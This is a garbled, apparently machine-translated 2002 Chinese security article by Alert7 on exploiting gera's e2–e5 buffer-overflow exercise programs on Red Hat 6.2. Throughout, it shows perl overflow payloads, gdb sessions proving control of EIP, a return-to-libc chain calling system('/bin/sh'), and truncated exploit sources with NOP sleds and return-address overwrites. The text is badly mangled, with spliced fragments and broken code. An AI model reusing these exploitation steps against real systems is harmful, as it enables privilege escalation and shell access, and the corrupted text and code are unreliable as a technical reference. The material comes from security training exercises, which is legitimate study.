Advanced
Creation time: 2002-01-17 Article properties: Original article Source: http://www.xfocus.org/ Article Submit: Alert7 (Sztcww_at_sina.com) Non-secure programming predecessor BY ALERT7
[Alert7 @ redhat62 alert7] $ ./e2 `perl -e 'print" a "x264'`Segmentation fault (core dumped) [alert7 @ redhat62 alert7] $ gdb e2 core -qCore was generated by` ./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, segmentation fault.reading symbols from /lib/libc.so.6...done.reading symbols from /lib/ld-linux.so.2...done.#0 0x61616161 in ?? ) / * exp12.c * alert7 Exploit for e2 * / # include
| xxxxxx | EBP | EIP | EIP1 | Parameter Pointer | / BIN / SH || 260 BYtes | | | | -> Main LED ESP, EBP Value is EBPEIP1 to return the address after the system call (of course, if System returns) Parameter pointer points to / bin / SH Here we make EIP1 is 0xAabbccdd, so / bin / sh is returned to 0xAabbcdd CoreDUMP. That is to say, as long as we carefully constructor, you can construct a function call chain. For example, we need to call setuid (0) -> system ("/ bin / sh") -> EXIT (0); this Exploit can be successful, largely because the address of the system does not include 0, that is, Stack is not executable patch There is no Library library MMAP to memory low.
More Before Yourself Reference: << Way Wave Linux Unrequent Stack Protection Analysis >> by Waring3
0xBffFFCC8 "A", Combined = 0x0, Replace = 1) at ../sysdeps/generic/setenv.c:145#5 0x804882b in __setenv (name = 0x80718e8 "ABO", value = 0xBffFFFCC8 "a", replace = 1) At ../sysdeps/generic/setenv.c:263#6 0x80481ce in main () # 7 0x804831b in __libc_start_main (main = 0x80481a0
/ * Exp_e3.c * alert7 exploit for static e3 * / # include
i = 4) * ((long *) & (buff [i])) = Retaddr; for (i = 0; i <100; i ) BUFF [i] = NOP; PTR = BUFF 50; for (i = 0; i Tracking long time and found or static compiler __libc_malloc () problem 0x8049ff5 <__ libc_malloc 89>: mov 0x807c068,% eax0x8049ffa <__ libc_malloc 94>: test% eax,% eax0x8049ffc <__ libc_malloc 96>: je 0x804a010 <__ libc_malloc 116> 0x8049ffe <__ libc_malloc 98>: push $ 0x00x804a000 <__ libc_malloc 100>: call *% eax (gdb) i reg eaxeax 0x61616161 1633771873 (gdb) x 0x807c0680x807c068 <__ libc_internal_tsd_get>: 0x61616161 (gdb) p & __libc_internal_tsd_get $ 1 = (void * (**) ()) 0x807c068 (gdb) p __libc_internal_tsd_get $ 2 = (void * (*) ()) 0x61616161 our data coverage to the __libc_internal_tsd_get () function address, the __libc_internal_tsd_get () point to 0x61616161. Segmentation fault is not so Know __libc_internal_tsd_get () What is the role here? I don't know, depressed ~ ★ 3.4 demonstration four / * e4.c ** specially crafted to feed your brain by gera@core-sdi.com * // *% What the hell? * / Char buf [256]; INT main (int Argv, char ** arg) {structure (buf, argc [1]); Printf ("Live AT 100%!"); while (1);} [alert7 @ redhat] $ GCC -O E4 E4 .c -static // static compile time will only appear [Alert7 @ redhat] $ ./e4 `perl -e 'print" a "x1408'`/e4` perl -e 'print "a" x1409'`Segmentation fault (core dumped) [alert7 @ redhat] $ gdb -q e4 coreCore was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 0x61616161 in ?? () (GDB) BT # 0 0x61616161 in ?? () # 1 0x8048681 in printf (Format = 0x8071548 "Live AT 100%!" ) At printf.c: 31 # 2 0x80481c3 in main () # 3 0x804831b in __libc_start_main (main = 0x80481a0 / * Exp_e4.c * alert7 exploit for static e4 * / # include ) BUFF [I] = NOP; * ((long *) & (buff [RET_POSITION])) = Retaddr; PTR = Buff 50; for (i = 0; I ★ 3.5 Demo 5 / * E5.C ** specially crafted to feed your brengu by gera@core-sdi.com * /// * is this possible? * / Char buf [256]; int main (int Argv, char ** Arg) {structure (buf, argc [1]); PERROR (Argc [2]); while (1);} Static compile (GDB) P & BUF $ 1 = ( *) 0x807bc00 [ Alert7 @ redhat] $ gcc -o e5 e5.c -static [alert7 @ redhat] $ ./e5 `perl -e 'print" a "x255'` AA: Success [alert7 @ redhat] $ ./e5` perl - e 'print "a" x256'` aSegmentation fault (core dumped) [alert7 @ redhat] $ gdb e5 core -qCore was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 chunk_alloc (ar_ptr = 0x807a000, nb = 48) at malloc.c: 27622762 malloc.c: no sudh file or directory. (Gdb) bt # 0 chun_alloc (ar_ptr = 0x807a000, nb = 48) at malloc.c: 2762 # 1 0x8049cf4 in __libc_malloc (bytes = 44) at malloc.c: 2696 # 2 0x804e74a in _NL_MAKE_L10NFLIST (L10 nfile_list = 0x807b434, dirlist = 0x8071795 "/ usr / share / locale", dirlist_len = 18, mask = 0, language = 0xbffff628 "en_US", territory = 0x0, codeset = 0x0, normalized_codeset = 0x0, modifier = 0x0, special = 0x0 , sponsor = 0x0, revision = 0x0, filename = 0xbffff630 "LC_MESSAGES / libc.mo", do_allocate = 0) at l10nflist.c: 201 # 3 0x804dd30 in _nl_find_domain (dirname = 0x8071795 "/ usr / share / locale", locale = 0xBffFf628 "en_us", DomainName = 0xBffff630 "lc_messages / libc.mo") at FindDomain.c: 113 # 4 0x804d8b0 in __dcgettext (domainname = 0x8071786 "libc", msgid = 0x80727d4 "success", category = 5) At dcgetText.c: 395 # 5 0x804d06d in __strerror_r (errnum = 0, buf = 0xBffffff6cc ", buflen = 1024) at ../sysdeps/Generic/ _STRERROR.C: 68 # 6 0x80486ae in perror (s = 0xBfffFFFCC8 "a") AT PERROR.C: 38 # 7 0x80481c7 in main () # 8 0x804831b in __libc_start_main (main = 0x80481a0 .Program terminated with signal 11, segmentation fault. # 0 chunk_alloc (ar_ptr = 0x616161, nb = 48) at malloc.c: 27522752 malloc.c: no such file or directory. (Gdb) quit [alert7 @ redhat] $ ./ e5 `perl -e 'print" a "x260'` aSegmentation fault (core dumped) [alert7 @ redhat] $ gdb e5 core -qCore was generated by` ./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 chunk_alloc (ar_ptr = 0x61616161, nb = 48) at malloc.c: 27522752 malloc.c: no such file or directory ../ E5 `Perl -e 'print" a "x260'` A ---./e5` Perl -e 'print "a" x264'` A is all above [Alert7 @ redhat] $ ./e5 `perl -e' print" a "x265'` ASEGMentation Fault (Core Dumped) [Alert7 @ redhat] $ gdb e5 core -qCore was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 0x61 in ?? () (gdb) quit [alert7 @ redhat] $ ./e5` perl -e 'Print "a" x266'` ASEGMENTATION FAULT (Core Dumped) [Alert 7 @ redhat] $ gdb e5 core -qCore was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 0x6161 in ?? () (gdb) quit [alert7 @ redhat] $ ./e5 `perl -e 'print" a "x267'` aSegmentation fault (core dumped) [alert7 @ redhat] $ gdb e5 core -qCore was generated by` ./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 0x616161 in ?? () (gdb) quit [alert7 @ redhat] $ ./e5 `perl -e 'print" a "x268'` aSegmentation fault (core dumped) [alert7 @ redhat] $ gdb e5 core -qCore was generated by` ./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11 , Segmentation fault. # 0 0x61616161 in ?? () (gdb) bt # 0 0x61616161 in ?? () # 1 0x804e74a in _nl_make_l10nflist (l10nfile_list = 0x807b434, dirlist = 0x8071795 "/ usr / share / locale", dirlist_len = 18, mask = 0, language = 0xbffff628 "en_US", territory = 0x0, codeset = 0x0, normalized_codeset = 0x0, modifier = 0x0, special = 0x0, sponsor = 0x0, revision = 0x0, filename = 0xbffff630 "LC_MESSAGES / libc.mo", do_allocate = 0) at l10nflist.c: 201 # 2 0x804dd30 in _nl_find_domain (dirname = 0x8071795 "/ usr / share / locale", locale = 0xbffff628 "en_US", domainname = 0xbffff630 "LC_MESSAGES / libc.mo") at finddomain.c : 113 # 3 0x804d8b0 in __dcgettext (domainname = 0x8071786 "libc", msgid = 0x80727d4 "Success", category = 5) at dcgettext.c: 395 # 4 0x804d06d in __strerror_r (errnum = 0, buf = 0xbffff6cc "", BUFLEN = 1024) at ../sysdeps/generic/_strerror.c:68#5 0x80486ae in perror (s = 0xBfffFFCC8 "a") AT PERROR.C: 38 # 6 0x80481c7 in main () # 7 0x804831b in __libc_start_main (main = 0x80481A0 perl -e 'print "a" x365'` aSegmentation fault (core dumped) [alert7 @ redhat] $ gdb e5 core -qCore was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 0x804d683 in __dcgettext (domainname = 0x8071786 "libc", msgid = 0x80727d4 "Success", category = 5) at dcgettext.c: 282282 dcgettext.c: No such file or directory (gdb) x / i 0x804d6830x804d683 <__ dcgettext 67>.: Pushl 0x4 (% EAX) (GDB) I REG EAXEAX 0x61 97 (GDB) Quit [Alert7 @ redhat] $ ./e5 `perl -e 'print" a "x368'` A // This is old SEGMENTATION FAULT (core dumped) [alert7 @ redhat] $ gdb e5 core -qCore was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.Program terminated with signal 11, Segmentation fault. # 0 0x804d683 in __dcgettext (domainname = 0x8071786" libc ", msgid = 0x80727d4 "Success", category = 5) at dcgettext.c: 282282 dcgettext.c: no such file or directory. (GDB) x / i 0x804d6830x804d683 <__ dcgettext 67>: pushl 0x4 (% eax) (gdb) i reg eaxeax 0x61616161 1633771873 (gdb) bt # 0 0x804d683 in __dcgettext (domainname = 0x8071786 "libc", msgid = 0x80727d4 "Success", category = 5) at dcgettext .c: 282 # 1 0x804d06d in __strerror_r (errnum = 0, buf = 0xBfffff65c ", bufler = 1024) at ../sysdeps/generic/_strerror.c:68#2 0x80486ae in perror (s = 0xBffffcc8" a ") AT Perror.c: 38 # 3 0x80481c7 in main () # 4 0x804831b in __libc_start_main (main = 0x80481a0 _INIT>, FINI = 0x807155c <_fini>, rtld_fini = 0, stack_end = 0xBffffaac) at ../sysdeps/generic/libc-start.c:92argv[1] Length limit in 268 ---- 364BUFF 264 place is eip / * exp_e5.c * alert7 exploit for static e5 * / # include